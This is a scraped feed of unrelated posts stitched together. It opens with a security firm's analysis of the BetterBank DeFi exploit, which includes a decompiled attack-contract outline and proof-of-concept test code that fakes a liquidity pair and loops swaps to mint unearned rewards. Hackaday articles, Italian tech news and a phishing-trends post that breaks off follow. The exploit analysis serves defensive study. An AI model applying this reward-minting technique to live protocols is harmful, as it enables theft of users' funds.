We managed to get hold of the attacker’s helper contracts to deepen our investigation. Through comprehensive bytecode analysis and contract decompilation, we determined that the attack architecture was multilayered. The attack utilized a factory contract pattern (0x792CDc4adcF6b33880865a200319ecbc496e98f8) that contained 18,219 bytes of embedded bytecode that were dynamically deployed during execution. The embedded contract revealed three critical functions: two simple functions (0x51cff8d9 and 0x529d699e) for initialization and cleanup, and a highly complex flash loan callback function (0x920f5c84) with the signature executeOperation(address[],uint256[],uint256[],address,bytes), which matches standard DeFi flash loan protocols like Aave and dYdX. Analysis of the decompiled code revealed that the executeOperation function implements sophisticated parameter parsing for flash loan callbacks, dynamic contract deployment capabilities, and complex external contract interactions with the PulseX Router (0x165c3410fc91ef562c50559f7d2289febed552d9).
contract BetterBankExploitContract {

function main() external {
// Initialize memory
assembly {
mstore(0x40, 0x80)
}

// Revert if ETH is sent
if (msg.value > 0) {
revert();
}

// Check minimum calldata length
if (msg.data.length < 4) {
revert();
}

// Extract function selector
uint256 selector = uint256(msg.data[0:4]) >> 224;

// Dispatch to appropriate function
if (selector == 0x51cff8d9) {
// Function: withdraw(address)
withdraw();
} else if (selector == 0x529d699e) {
// Function: likely exploit execution
executeExploit();
} else if (selector == 0x920f5c84) {
// Function: executeOperation(address[],uint256[],uint256[],address,bytes)
// This is a flash loan callback function!
executeOperation();
} else {
revert();
}
}

// Function 0x51cff8d9 - Withdraw function
function withdraw() internal {
// Implementation would be in the bytecode
// Likely withdraws profits to attacker address
}

// Function 0x529d699e - Main exploit function
function executeExploit() internal {
// Implementation would be in the bytecode
// Contains the actual BetterBank exploit logic
}

// Function 0x920f5c84 - Flash loan callback
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) internal {
// This is the flash loan callback function
// Contains the exploit logic that runs during flash loan
}
}
The attack exploited three critical vulnerabilities in BetterBank’s protocol: unvalidated reward minting in the logBuy function that failed to verify legitimate trading pairs; a tax bypass mechanism in the _transfer function that only applied the 50% sell tax to addresses marked as market pairs; and oracle manipulation through fake trading volume. The attacker requested flash loans of 50M DAI and 7.14B PLP tokens, drained real DAI-PDAIF pools, and created fake PDAIF pools with minimal liquidity. They performed approximately 20 iterations of fake trading to trigger massive ESTEEM reward minting, converting the rewards into additional PDAIF tokens, before re-adding liquidity with intentional imbalances and extracting profits of approximately 891M DAI through arbitrage.

PoC snippets

To illustrate the vulnerabilities that made such an attack possible, we examined code snippets from Zokyo researchers.

First, a fake liquidity pool pair is created with FAVOR and a fake token is generated by the attacker. By extension, the liquidity pool pairs with this token were also unsubstantiated.
function _createFakeLPPair() internal {
console.log("--- Step 1: Creating Fake LP Pair ---");

vm.startPrank(attacker);

// Create the pair
fakePair = factory.createPair(address(favorToken), address(fakeToken));
console.log("Fake pair created at:", fakePair);

// Add initial liquidity to make it "legitimate"
uint256 favorAmount = 1000 * 1e18;
uint256 fakeAmount = 1000000 * 1e18;

// Transfer FAVOR to attacker
vm.stopPrank();
vm.prank(admin);
favorToken.transfer(attacker, favorAmount);

vm.startPrank(attacker);

// Approve router
favorToken.approve(address(router), favorAmount);
fakeToken.approve(address(router), fakeAmount);

// Add liquidity
router.addLiquidity(
address(favorToken),
address(fakeToken),
favorAmount,
fakeAmount,
0,
0,
attacker,
block.timestamp + 300
);

console.log("Liquidity added to fake pair");
console.log("FAVOR in pair:", favorToken.balanceOf(fakePair));
console.log("FAKE in pair:", fakeToken.balanceOf(fakePair));

vm.stopPrank();
}
Next, the fake LP pair is approved in the allowedDirectPair mapping, allowing it to pass the system check and perform the bulk swap transactions.
function _approveFakePair() internal {
console.log("--- Step 2: Approving Fake Pair ---");

vm.prank(admin);
routerWrapper.setAllowedDirectPair(address(fakeToken), address(favorToken), true);

console.log("Fake pair approved in allowedDirectPair mapping");
}
These steps enable exploit execution, completing FAVOR swaps and collecting ESTEEM bonuses.
function _executeExploit() internal {
console.log("--- Step 3: Executing Exploit ---");

vm.startPrank(attacker);

uint256 exploitAmount = 100 * 1e18; // 100 FAVOR per swap
uint256 iterations = 10; // 10 swaps

console.log("Performing %d exploit swaps of %d FAVOR each", iterations, exploitAmount / 1e18);

for (uint i = 0; i < iterations; i++) {
_performExploitSwap(exploitAmount);
console.log("Swap %d completed", i + 1);
}

// Claim accumulated bonuses
console.log("Claiming accumulated ESTEEM bonuses...");
favorToken.claimBonus();

vm.stopPrank();
}
We also performed a single swap in a local environment to demonstrate the design flaw that allowed the attackers to perform transactions over and over again.
function _performExploitSwap(uint256 amount) internal {
// Create swap path: FAVOR -> FAKE -> FAVOR
address[] memory path = new address[](2);
path[0] = address(favorToken);
path[1] = address(fakeToken);

// Approve router
favorToken.approve(address(router), amount);

// Perform swap - this triggers logBuy() and mints ESTEEM
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amount,
0, // Accept any amount out
path,
attacker,
block.timestamp + 300
);
}
Finally, several checks are performed to verify the exploit’s success.
function _verifyExploitSuccess() internal {
uint256 finalFavorBalance = favorToken.balanceOf(attacker);
uint256 finalEsteemBalance = esteemToken.balanceOf(attacker);
uint256 esteemMinted = esteemToken.totalSupply() - initialEsteemBalance;

console.log("Attacker's final FAVOR balance:", finalFavorBalance / 1e18);
console.log("Attacker's final ESTEEM balance:", finalEsteemBalance / 1e18);
console.log("Total ESTEEM minted during exploit:", esteemMinted / 1e18);

// Verify the attack was successful
assertGt(finalEsteemBalance, 0, "Attacker should have ESTEEM tokens");
assertGt(esteemMinted, 0, "ESTEEM tokens should have been minted");

console.log("EXPLOIT SUCCESSFUL!");
console.log("Attacker gained ESTEEM tokens without legitimate trading activity");
}

Conclusion

The BetterBank exploit was a multifaceted attack that combined technical precision with detailed knowledge of the protocol’s design flaws. The root cause was a lack of validation in the reward-minting logic, which enabled an attacker to generate unlimited value from a counterfeit liquidity pool. This technical failure was compounded by an organizational breakdown whereby a critical vulnerability explicitly identified in a security audit was downgraded in severity and left unpatched.

The incident serves as a powerful case study for developers, auditors, and investors. It demonstrates that ensuring the security of a decentralized protocol is a shared, ongoing responsibility. The vulnerability was not merely a coding error, but rather a design flaw that created an exploitable surface. The confusion and crisis communications that followed the exploit are a stark reminder of the consequences when communication breaks down between security professionals and protocol teams. While the return of a portion of the funds is a positive outcome, it does not overshadow the core lesson: in the world of decentralized finance, every line of code matters, every audit finding must be taken seriously, and every protocol must adopt a proactive, multilayered defense posture to safeguard against the persistent and evolving threats of the digital frontier.

securelist.com/betterbank-defi…

cybersecurity

This september Operational Summary by Agenzia per la Cybersicurezza Nazionale presents monthly figures and indicators from the operational activities of the National Cybersecurity Agency, providing insights into the state of cyber threats in hashtag#Italy.

In September 2025, a total of 270 events were recorded, marking a 103% increase compared to August, while the number of incidents (55) increased
(+15) compared to the previous month.

The sectors with the highest number of recorded victims were: Government Local, Government National and Telecommunications.

Among the threats attributable to hacktivism, a new wave of DDoS attacks was recorded, carried out by pro-Russian groups active in the context of the Russia-Ukraine conflict and by pro-Hamas actors, who claimed demonstrative actions against Italian institutional websites in conjunction with the escalation of geopolitical tensions in the Middle East. In total, 124 attacks were claimed, of which only 6% resulted in actually detectable service unavailability, in any case limited to a few minutes of inaccessibility of the affected websites.

The most affected sectors included Public Administration, Transportation, Telecommunications, and drinking water supply. In this context, the defacement of a small municipality’s website was also recorded

PS: several figures appear clearly overlapping with the ENISA Threat Landscape 2025 Highlights

acn.gov.it/portale/documents/2…

dicorinto.it/agenzia-per-la-cy…

LED billboards are cyberpunk-dystopian enough for most, but it can get worse. For example, this project by [Concept Crafted Creations] that takes the whole concept and takes it airborn (literally) in the form of a flying POV sphere called “Zippy”.

We love persistence-of-vision (POV) displays, and have featured plenty before, from the very complicated to the fairly simple. The idea is simple: take one or more rings of LEDs and spin them rapidly enough that the persistence-of-vision effect creates a solid image in your visual field. We covered the basics years back. “Zippy” has one ring of addressable LEDs that surrounds the thing that makes it unique: the quadcopter at its core. None of those other projects could fly, after all.

You might imagine a big, spinning ring is going to have a lot of torque to cancel out, and that is true — about 2.3 kgf — and it led to a lot of prototypes crashing early on. After trying to use flaps to direct the downwash of the quadcopter rotors to counter the spin, [Concept Crafted Creations] eventually added two extra props for yaw control, and that seemed to do the trick. We say “quadcopter” because that’s the configuration, but Zippy ended up heavy and needs eight lift motors to fly. PVC pipe and PLA aren’t the lightest build materials, after all. That’s ten props, total, plus another outrunner to spin the POV ring. All those motors, plus the current draw of the LEDs means the flight time might not impress — but Zippy sure does, at last as long as the batteries hold out.

There’s something eye-catching about POV displays, and seeing this one drifting upwards like Kang and Kodos decided to steal the Los Vegas Sphere is even more arresting. That made the crash at the end of the video sad to see, but [Concept Crafted Creations] hasn’t ruled out rebuilding it if his viewers show enough interest. So if you like what you see, head over to YouTube and leave an encouraging comment for him to try, try again.

youtube.com/embed/HgyS1SajC6s?…

hackaday.com/2025/10/22/pov-gl…

The chiptune music scene is largely rooted in the sounds of the original Nintendo Game Boy and the Commodore 64, while still welcoming a wide range of other hardware under its general umbrella. Still, few chip musicians show up to a gig hauling a PDP-1. That’s perhaps a shame, given that the 1950s era machine can produce beautiful music—as demonstrated by [Peter Samson] and [Joe Lynch].

The video demonstration was recorded at the Computer History Museum in Mountain View, California. [Peter Samson] is operating the PDP-1, which is running the Harmony Compiler—which allows the machine to play four individual voices. This is achieved by taking advantage of the PDP-1’s program flags, which are visible as six light bulbs on the control panel. Instructions can be used to turn these bulbs on and off. The Harmony Compiler works by switching the bulbs on and off fast enough to create audible square waves when the light bulb outputs are wired to a simple audio amplifier.

Using Harmony Compiler, [Joe] and [Peter] worked together to transcribe the song Olson by Boards of Canada to play on the PDP-1. The song is encoded on paper tape, and fed into the machine—which dutifully plays back the hauntingly beautiful melody.

If you’re interested in the code that achieved this, it’s blessedly available via Github. If you love stories about old computers playing music, we’ve got those too. Video after the break.

youtube.com/embed/wubkrBd3-gg?…

[Thanks to Stephen Walters for the tip!]

hackaday.com/2025/10/21/the-pd…

It is easy to write off Tinkercad as a kid’s toy. It is easy enough for kids to learn and it uses bright colors looking more like a video game than a CAD tool. We use a variety of CAD tools, but for something quick, sometimes Tinkercad is just the ticket. Earlier this year, Tinkercad got a sketch feature, something many other CAD programs have and, now, you can even revolve the sketch to form complex objects. Tinkercad guru [HL ModTech] shows you how in the video below.

It wasn’t long ago that we needed to cut an irregular shape out of an STL and we found the sketch feature whic was perfect for that purpose. If you’ve used other CAD tools, you’ll know that sketches are typically 2D shapes that get changed into a 3D shape. The traditional thing is to simply extrude it, so if you draw a circle in 2D, you get a cylinder.

However, you can also revolve a profile around a center point. In that case, a circle would give you a torus or, you know, a doughnut-shape. In Tinkercad these are two different tools.

In the video, you can see how the revolve works. One nice feature is that in the top right corner is a live preview of what your shape will look like after revolving. The video shows a classic example — a chess piece. If you want to see something more practical, he also has a project to create train tracks using the new feature.

If you want to learn more about Tinkercad, you can do worse than watch all of [HL ModTech’s] videos. You can do some pretty amazing things with nothing more than a Web browser.

Tinkercad can even do parameters, sort of. If you virtually attended Remoteacon (the COVID-19 version of Supercon) you already knew that Tinkercad isn’t just for kid stuff.

youtube.com/embed/Djbf86XL750?…

youtube.com/embed/myTnZFKs1lw?…

hackaday.com/2025/10/21/tinker…

The Razer Nari is a decent wireless headset, but it’s a little oddball—because it uses a bespoke USB dongle for pairing. This is all well and good if you’re using a supported configuration; plug it into a Windows PC, run the utility, and you’re good to go. If you’re a Linux user, though, you were out of luck—but [JJ] has just solved that problem.

The tool was created by reverse engineering the pairing protocol used by Razer’s own proprietary software. [JJ] figured out the necessary pairing command, and how to send it to both the dongle and the headset. The headset itself must be connected by a USB cable when initiating the pairing process.

[JJ] believes the tool should work with any Razer Nari and dongle variant. However, the Nari Ultimate and Nari Essential models are yet to be tested, with verification still required. However, the pairing commands were extracted from Razer’s own tool and don’t appear to differ so it should probably work across the board. Setup is still a little fussy, particularly to get both the Game Audio and Chat Audio outputs working under Linux. However, [JJ] has helpfully provided the necessary detail to get everything up and running with PulseAudio and PipeWire setups.

Proprietary hardware can be frustrating to work with at times, but that’s never stopped hackers from reverse engineering their way to success before. If you’ve got your own projects in this vein, don’t hesitate to notify the tipsline!

hackaday.com/2025/10/21/open-s…

Sometimes it’s fun to bring props from video games into the real world. [Hulk] has done just that with their latest Halloween build—creating a working replica of the lantern from Minecraft.

Key to the build is the 3D printed enclosure, which faithfully mimics the look of the in-game item. By virtue of Minecraft’s simplistic visual style, it’s a relatively straightforward print, without a lot of quirky geometry or difficult overhangs that might otherwise trip up your printer. It’s printed in six parts and assembled with acrylic lenses which act to diffuse the light coming from inside.

Electronically, an Arduino Nano runs the show. It’s hooked up to a pair of NeoPixel addressable LED rings, which provide rich RGB colors on demand. Rotary pots are installed on the enclosure to enable the color to be tuned to the user’s desire. Power is courtesy of an 18650 lithium-ion cell and a TP4056 module ensures the battery is kept happy when charging.

It’s a fun prop build, and one that would be the perfect addition to any Minecraft costume. Except for maybe a chicken jockey, because they don’t use lanterns. In any case, we’ve seen similar work before, too.

youtube.com/embed/8wauoKaCeak?…

hackaday.com/2025/10/21/buildi…

So much news, so little time left until Supercon! We hope you all have your tickets. If not: Workshop and general admission tickets are on sale now. We’re getting down to the last slightly-more-than-two-handfuls, so if you’re thinking of coming, the time for procrastination has passed.

First up, we have two late-addition workshops, and tickets were just made available. Maybe you noticed that Arduino was bought by Qualcomm, and they kicked off the union with a brand-new board? You can get yourself one, and learn how to use it. And not to be outdone, the CEO of Framework, makers of modular laptop computers, is coming with a grab-bag of parts for you to play with.

Leonardo Cavagnis & Tyler Wojciechowicz

Arduino x DigiKey Presents – From Blink to Think: Discover Arduino Uno Q

Explore the power of Arduino Uno Q, the new board combining a microcontroller and a microprocessor. In this hands-on workshop, you’ll learn how to get started with Uno Q and unlock its dual-core capabilities for intelligent and connected projects.

Nirav Patel
Framework Mystery Boxes: Swap & Build

This workshop is hosted by Framework’s Founder and CEO, Nirav Patel. You’ll receive a box of assorted returned/refurbished Framework Laptop parts at the start of the workshop. You can then trade parts with other attendees and work together to try to build a functioning computer of some kind. You’ll pick up some tips and tricks on debugging and repair along the way.

New-Space Panel

There is so much going on in space these days that we thought we’d do a break-out panel just to catch you up. Moderated by [Sirina Nabhan], a systems engineer at NASA’s Deep Space Network, [Joey Jefferson] and [Celeste Smith] will be on hand to get us up to speed on future Moon and Mars missions.

Costume Party and Thursday Night Pre-Event Meetup

Friday night is Halloween, and we’ve got Supplyframe headquarters to party in. In honor of our fantastic keynote panel this year, chock-full of the people who bring the Star Trek universe to life, we’re thinking Sci-Fi themed. Of course, we won’t turn you away no matter what your costume (or lack thereof) but if you do have a replica phaser kicking around in your closet, you will want to bust it out for the party.

So after a mellow day of badge hacking, attending workshops, or just hanging out with 511 of your new Hackaday friends, why not slip into something less comfortable for the evening? It’s catered and open bar, but we’ll also keep a zone open full of hot soldering irons.

And if you’re already in town on Thursday night, the 30th, meet up with us for an off-the-official-schedule pint at Kings Row. We’ll be there from 7 pm until, if history is any guide, they close down and send us home.

Lightning Talks

Finally, as we have for the last few years, we’re hosting Lightning Talks on Sunday morning. This is your chance to present seven minutes’ worth of hacking to our rapt audience. If you’ve got something to say, register your talk here!

The first generation of real-time train information screens for British railways came in the form of suspended color CRTs in familiar rounded fiberglass housings. They were a ubiquitous sight across the network for years, until of course suddenly, they weren’t. Can they be brought back? [Heliomass] has come about as close as it’s possible to be, with a modern emulation that runs from live data feeds.

The screens were recognizably using the same graphics standards as Teletext, and thus it was no surprise back in the day to see from time to time an Acorn boot screen in a railway station.

We remember some debate at the time as to whether they were running Archimedes of BBC Micro hardware behind the scenes, though it seems likely it might have been the industrial BBC Micro derivative.

The modern recreation uses an emulated BBC Micro for the signage, with a serial connection to a server component running in Python on more modern hardware. This handles grabbing the data and sending it to the Beeb for display. The result is an unexpected bit of nostalgia for anyone who spent the 1980s or ’90s in south east England.

hackaday.com/2025/10/21/britis…

In the last edition of our ongoing series on how planets get ore– those wonderful rocks rich in industrial minerals worth mining– we started talking about hydrothermal fluid deposits. Hydrothermal fluid is the very hot, very salty, very corrosive water that sweats out of magma as it cools underground and under pressure.

We learned that if the fluid stays in the magma chamber and encourages the growth of large crystals there, we call that a pegmatite deposit. If it escapes following cracks in the surface rock, it creates the characteristic veins of an orogenic deposit. What if the fluid gets out of the magma chamber, but doesn’t find any cracks?

Perhaps the surrounding rock is slightly permeable to water, and the hydrothermal fluid can force its way through, eating away at the base rock and remineralizing it with new metals as it goes. That can happen! We call it a porphyry deposit, particularly in igneous rock. It’s not exactly surprising that a hydrothermal fluid would find igneous rock: the fluid is volcanic in origin, after all, just like igneous rock. (That’s the definition of igneous: a rock of volcanic origin.) Igneous rocks, like granite, tend not to be terribly reactive so the fluid can diffuse through relatively unchanged.

Igneous rocks aren’t the only option, though. If the hydrothermal fluid hits carbonates, well, I did mention it’s acidic, right? Acid and carbonates are not friends, so all sorts of chemistry happens, such that geologists give the resulting metamorphic formation a special name: skarn. Though similar in origin, skarns are often considered a different type of deposit, so we’ll talk about the simpler case, diffusion through non-reactive rocks, before getting back to the rocks that sound like an 80s fantasy villain. (Beware Lord Skarn!)

Porphyry: Born to the Purple

In terms of ore deposits, humans have only started to exploit porphyry deposits relatively recently. Quite a few metals can be laid down, but a mine digging into a porphyry deposit is almost certainly chasing copper, to feed the industrial machine’s voracious appetite for the red metal. There’s generally going to be gold mixed in, and make no mistake; it’s not going to get left in the ground, but these are first and foremost copper mines.

Indeed, the gold, and lead, zinc, silver, and molybdenum that can also be present, are too diffusely mixed in with the copper to be left alone even if you wanted to. The copper, too, is very diffuse; these ores are low grade, with concentrations better measured in ppm than percent. That’s a consequence of the hydrothermal fluid spreading out through the rock, rather than concentrating its metals inside small veins.
The Morcini mine in Arizona is typical of porphyry deposits: a big trucks in an even bigger hole. Stephanie Salisbury, CC BY 2.0
It’s the low grade that explains why nobody bothered to call porphyry deposits ore until relatively recently: without explosives and powered earth moving equipment, the economics make zero sense. Mines in porphyry deposits tend to look like the one pictured: huge open pits, with equally huge equipment.
Fit for a palace or the dress of a goddess (here Minerva), the purple porphyry called “Imperial” was highly desirable, but not technically ore in the ancient world. Dennis G. Jarvis, CC BY-SA 2.0
That isn’t to say these deposits were completely unknown; the stone that gives the deposits its name, porphyry, was quarried in antiquity. The difference between mining and quarrying in this context is that when you mine an ore, you’re going to refine it into something else; when you quarry rock, you’re going to use it as is. So an operation taking granite out of the ground and cutting it into slabs for countertops is a quarry; if they crush it and start doing chemistry to extract lithium, then it’s a mine.

Mining porphyry for gold or copper with muscle power is insane; taking the pretty purple stone called “imperial porphyry” to decorate the palace is not. Indeed, the birthing chambers in the Imperial Palace at Constantinople were walled in purple porphyry. The palace and the Porphyra, as it was called, are long gone, but an echo remains in the English language phrase “born to the purple”. To be born in the purple room was to be born into power, wealth, and privilege, which is how we use the phrase today. Still, for all that power, the Roman Empire couldn’t hope to do anything with porphyry other than use it as wallpaper or in sculpture. The metals were too diffuse; thus it was not ore.

There’s a decent chance we might find porphyry deposits on other planets, particularly Mars– but since other types of deposits with more concentrated ores will also be available, it’s not likely they will be mined for a very long time. As on Earth, simple economics will demand that any potential settlers “high grade” the planet– that is, take the higher grades of material first. If there were still large chunks of native copper, nobody would be building hundred-tonne trucks to dig up porphyry.
They don’t make ’em this big for fun. The Caterpillar 797 can haul 362 tonnes of low-grade ore at once, and Emperor Constantine had nothing like it. Lechhabmed, CC-BY-4.0

Skarn: Ugly Name, Pretty Rocks

Skarns can look as pretty as they don’t sound. This sample is composed of blue calcite, green augerite, and orange garnets, and is more likely to end up in a museum than a mill.. Sim Sepps, CC-BY-3.0.
The extra chemistry going on to create skarn deposits make them a different story; there you can find decent concentrations of things like tin, tungsten, manganese, copper, gold, zinc, lead, nickel, molybdenum and iron. Apparently the name comes from what they called waste rock in an old Swedish iron mine. The interesting chemistry — remember: acid fluid meeting basic, carbonate rock — also makes skarn deposits a good place to look for certain gemstones, like garnet, tourmaline, topaz, beryl, and even corundum– the mineralogist’s name for emeralds and sapphires. Just as quartz comes in many colours depending on what trace elements are contaminating the basic crystal of SiO2, corundum, or Al2O3 , can take different colours as well. Rubies are red due to chromium contamination, for example.

So that’s what happens when the hydrothermal fluid gets loose and oozes through the base rock. What if it gets loose from the base rock entirely? Well, on land that’s a geyser and I’m not aware of any ore deposits directly formed by geysers. (Associated with, yes, but formed by? No.) Underwater it’s a different story: a plume of hot water coming into the ocean from beneath is famously known as a “black smoker” and that black smoke is mineralogically interesting.

VMS : When Alvin Goes Prospecting

This is making an ore deposit. Who knew Alvin was a prospector? NOAA, via Wikimedia.
The hot water hitting the cold sea water causes all sorts of things that were happily dissolved in the fluid to stop being happy, and stop being dissolved. In the short term, this leads to the delightfully creepy lightless ecosystems feasting on the chemical potential of the sulfides in the water around the Black Smoker. In the long term– the very, very long term, the geologic time long term, that is–the mostly-sulfide particulates in the “smoke” settle down into the local sediment to create “Volcanogenic Massive Sulfide” deposits, more commonly known by the acronym VMS. (I always misremember the V as “vented” , which is actually handy as it keeps me from getting confused from flood-basalt-generated sulfide melt deposits like Norilsk.)

Strictly speaking, the pretty picture of the black smoker spewing sulfide-particle smoke is not necessary: the cold seawater intermixing with hydrothermal fluids can happen entirely underground and the same reactions will occur. Either way, you can guess this sort of deposit is going to be restricted to watery worlds like Earth, Europa and other icy moons, or just possibly Mars.

The big problem with VMS deposits is that, as we do not typically want to do major mining operations on the sea floor, yet, they require the ocean to go away. This can happen through changes in sea level, or uplift of the rocks to some point above sea level. That’s not always going to happen, so there’s an idea out there that most VMS deposits will be underwater, and that this may represent a new frontier in mining. That idea deserves its own article someday, but for now, what would these hypothetical underwater miners be after?
Realgar is one of many attractive sulfide minerals. It looks like candy. but you don’t want to lick it. Rob Lavinsky, iRocks.com — CC BY-SA 3.0
Well, the same sulfide ores we find in terrestrial VMS deposits, presumably. The big players are iron, copper, silver, zinc and lead – VMS deposits represent decent fractions of the world’s production of the ores of those metals – but also a whole host of others. Ores of cobalt, tin, barium, selenium, manganese, cadmium, indium, bismuth, tellurium, gallium and germanium are found in, and extracted from, VMS deposits (often alongside the big players) to say nothing of the sulfur that makes up half or more of every sulfide mineral. (For those who slept through Chemistry class, a sulfide is a molecule with an S in it. My favourite sulfide mineral is realgar, which has the chemical formula Arsenic Sulfide: AsS. Some people have spirit animals; realgar is my spirit mineral.)

Unlike porphyry deposits, VMS deposits are rich enough they’ve been worked for time out of mind. The ore body that colours the Rio Tinto in Spain is a VMS deposit, and the mines there predate recorded history. Though ironically no longer operated by the Rio Tinto corporation, there remains a copper mine still working that deposit to this day, and other mines in nearby, related ore bodies.

SedEX is Not a Shipping Company

Silver-Lead-Zinc ore from a SedEX deposit at the Sullivan Mine in British Colombia. You probably shouldn’t lick this sample, either.
James St. John, CC BY 2.0
Closely related to VMS deposits are so-called SedEX and Mississippi Valley Type formations, though neither comes close to the economic relevance of VMS. SedEX stands for Sedimentary Exhallation, and these deposits are fine-grained and often relatively low grade Lead-Zinc sulfide deposits found in sedimentary rock. Economically viable concentrations of silver, copper, and tungsten can also be present. Like VMS deposits, they are created on seafloors, but unlike VMS deposits which are hosted in igneous rock, SedEX deposits are found– you guessed it– sedimentary rock. SedEX formation requires warm hydrothermal fluid to percolate up through sedimentary rocks to meet cold seawater. Since the world’s ocean is almost entirely undergirded by basaltic oceanic crust, that is, igneous rock, SedEX deposits aren’t nearly as common. It’s possible that they may occur on Mars, though I wouldn’t venture to guess if any sedimentary rocks exist under the ice of Europa or other icy moons, so Mars and Earth may be it for SedEX.

Mine the Mighty Miss?

Mississippi Valley Type (MVT) deposits are the last underwater ore deposit we’ll examine, and the last in the hydrothermal family. Don’t let the name fool you: they have nothing to do with rivers. It just so happens that the Mississippi Valley was once a vast, shallow inland sea, undergirded with carbonate rocks. In some parts of that valley, those carbonate rocks met a low-temperature hydrothermal fluid that left behind sulfide minerals when cooled by sea water. Organic matter rotting on the shallow seafloor or hydrocarbons underneath can sometimes be involved to provide the required sulfur, as the cool (under 150 C / 300 F) fluid may not be capable of carrying sufficient sulfur on its own.

Once again, these deposits are mostly a lead-zinc thing, but sometimes iron sulfides are present, too. Occasionally iron sulfides are the only thing present, but such pyrites are not considered worth mining in the current market. Carbonate-hosted Zinc sulfides, on the other hand, are the world’s main source of that metal. Given that they’re found worldwide and not only along the shores of the “Mighty Miss”, these deposits are also known as “Carbonate-hosted Lead-Zinc deposits” but that’s entirely too descriptive for my liking. Given that organic matter is involved in their formation, and the paucity of shallow carbonate-bottomed seas elsewhere in the solar system, MVT deposits are likely an Earth exclusive geologic gatcha.
You can find MVTs all over the globe, but probably only on this globe, at least in our solar system.
And geology is a little bit like a gatcha system, when you think about it. You might know roughly what kind of rock types a given kind of ore deposit is found in, but until you make the draw – or drill core, as the case may be – you never know what you’re going to get. While this is the last article that’s going to cover hydrothermal ore deposits, there remains one last family of ore formation processes– quaternary processes, those that occur on surface and are ongoing in the present day. Maybe you’ll enjoy it, maybe not; that too, is a bit like gatcha. Regardless, that’s what we’re going to cover in the last work in the series. Stay tuned.

hackaday.com/2025/10/21/ore-fo…

Il 19 ottobre, Gamers Nexus ha rivelato i dettagli della Huawei Atlas 300I DUO, una scheda per l’inferenza AI con architettura dual-core progettata per l’elaborazione intelligente nei data center. Si tratta di un acceleratore a slot singolo, privo di ventola, che integra due GPU e offre un equilibrio tra potenza computazionale e consumo energetico.

Specifiche tecniche e prestazioni

La Atlas 300I DUO è dotata di 16 core con una frequenza di 1,9 GHz e fino a 96 GB di memoria LPDDR4X ECC, con una larghezza di banda di 408 GB/s. Il sistema si connette tramite PCIe 4.0×8, mentre il consumo energetico raggiunge i 150 W.

Sul fronte delle prestazioni, la scheda offre 80 TOPS di potenza di calcolo in INT8 e 140 TFLOPS in FP16, con un’efficienza energetica pari a 1,86 TOPS/W. Supporta inoltre la decodifica video H.264/H.265 fino a 256 canali 1080p30 o 32 canali 4K60, e la codifica fino a 48 canali 1080p30 o 6 canali 4K60, con una risoluzione massima di 8192×8192. Sono incluse anche funzioni di codifica e decodifica JPEG in formato 4K.

Design e raffreddamento

Secondo l’analisi di Gamers Nexus, la Huawei Atlas 300I DUO adotta un design snello e leggero, con uno spessore di appena 18,46 mm. Il sistema di dissipazione si affida a un pad in grafene e a un dissipatore in alluminio, senza ventola integrata: la scheda necessita quindi del raffreddamento attivo del sistema host, una soluzione comune nei server dei data center.

Lo smontaggio effettuato dal team di Gamers Nexus ha evidenziato un approccio progettuale più semplice rispetto alle schede grafiche per workstation NVIDIA, con componenti essenziali e una gestione termica minimalista, ma efficace per l’uso previsto.

Applicazioni e scenari d’uso

Huawei descrive la Atlas 300I DUO come un dispositivo che integra processore generico, core AI e codec in un unico modulo. È pensata per applicazioni di ragionamento AI, analisi video, riconoscimento OCR, analisi vocale e clustering dei dati, trovando impiego in settori come Internet, smart city e trasporti intelligenti.

Nonostante le prestazioni elevate, la scheda non è compatibile con i sistemi desktop. Per questo, Gamers Nexus ha dichiarato di voler ottenere un server Huawei Atlas 800, dotato di CPU Kunpeng 920, per effettuare test approfonditi.

Prezzo e disponibilità

La Huawei Atlas 300I DUO non è attualmente in vendita al pubblico, ma alcuni media esteri riferiscono un prezzo di acquisto di circa 1.400 dollari, pari a circa 10.000 yuan. Il costo all’ingrosso sul mercato cinese risulterebbe inferiore, rendendola una soluzione competitiva nel panorama delle schede AI per data center.

L'articolo Huawei lancia una scheda AI da data center: Atlas 300I DUO, doppia GPU e 140 TFLOPS proviene da Red Hot Cyber.

Perché un guasto a un datacenter in Virginia (USA) blocca mezza Italia? Eh? PERCHÉ???

spreaker.com/episode/dk-10x07-…

The original Stream Deck was a purpose-built device to make it easier to manage a live video stream on the fly. Since its release, many other similar products have hit the market. Among them is the Ulanzi D200 U-Studio, which is proving popular with hackers for good reason.

[Rodrigo Laneth] has been digging into the D200, and found out it’s running Linux 5.10.160 on a quad-core Rockchip RK3308HS chip. Notably, he determined the kernel appears to be from Android, but that Ulanzi removed the Android userspace and “slapped Buildroot on top,” in his own words. Interesting, if not that unusual. What is key, however, is that the device has a fully open adb root shell, as noted by [lucasteske], which inspired [Rodrigo]’s investigation. This pretty much allows full access to the device, so you can make it do whatever weird thing your heart desires.

As you might expect, people are already making the D200 do fun stuff. [lucasteske] got it running DOOM in short order. Meanwhile, [Rodrigo] has it playing out Bad Apple!! at 30 FPS, with code and a deeper explanation available on GitHub.

It’s rare these days that manufacturers leave root open on any commercial device. You normally need to pull a few tricks to get that kind of access.

View this post on Instagram

A post shared by Lucas Teske (@racerxdl)

hackaday.com/2025/10/21/budget…

Introduction

Cyberthreats are constantly evolving, and email phishing is no exception. Threat actors keep coming up with new methods to bypass security filters and circumvent user vigilance. At the same time, established – and even long-forgotten – tactics have not gone anywhere; in fact, some are getting a second life. This post details some of the unusual techniques malicious actors are employing in 2025.

Using PDF files: from QR codes to passwords

Emails with PDF attachments are becoming increasingly common in both mass and targeted phishing campaigns. Whereas in the past, most PDF files contained phishing links, the main trend in these attacks today is the use of QR codes.

Email with a PDF attachment that contains a phishing QR code

This represents a logical progression from the trend of using QR codes directly in the email body. This approach simplifies the process of disguising the phishing link while motivating users to open the link on their mobile phone, which may lack the security safeguards of a work computer.

Email campaigns that include phishing links embedded in PDF attachments continue to pose a significant threat, but attackers are increasingly employing additional techniques to evade detection. For example, some PDF files are encrypted and protected with a password.

Phishing email with a password-protected PDF attachment

The password may be included in the email that contains the PDF, or it may be sent in a separate message. From the cybersecurity standpoint, this approach complicates quick file scanning, while for the recipients it lends an air of legitimacy to attackers’ efforts and can be perceived as adherence to high security standards. Consequently, these emails tend to inspire more user trust.

PDF file after the user enters the password

Phishing and calendar alerts

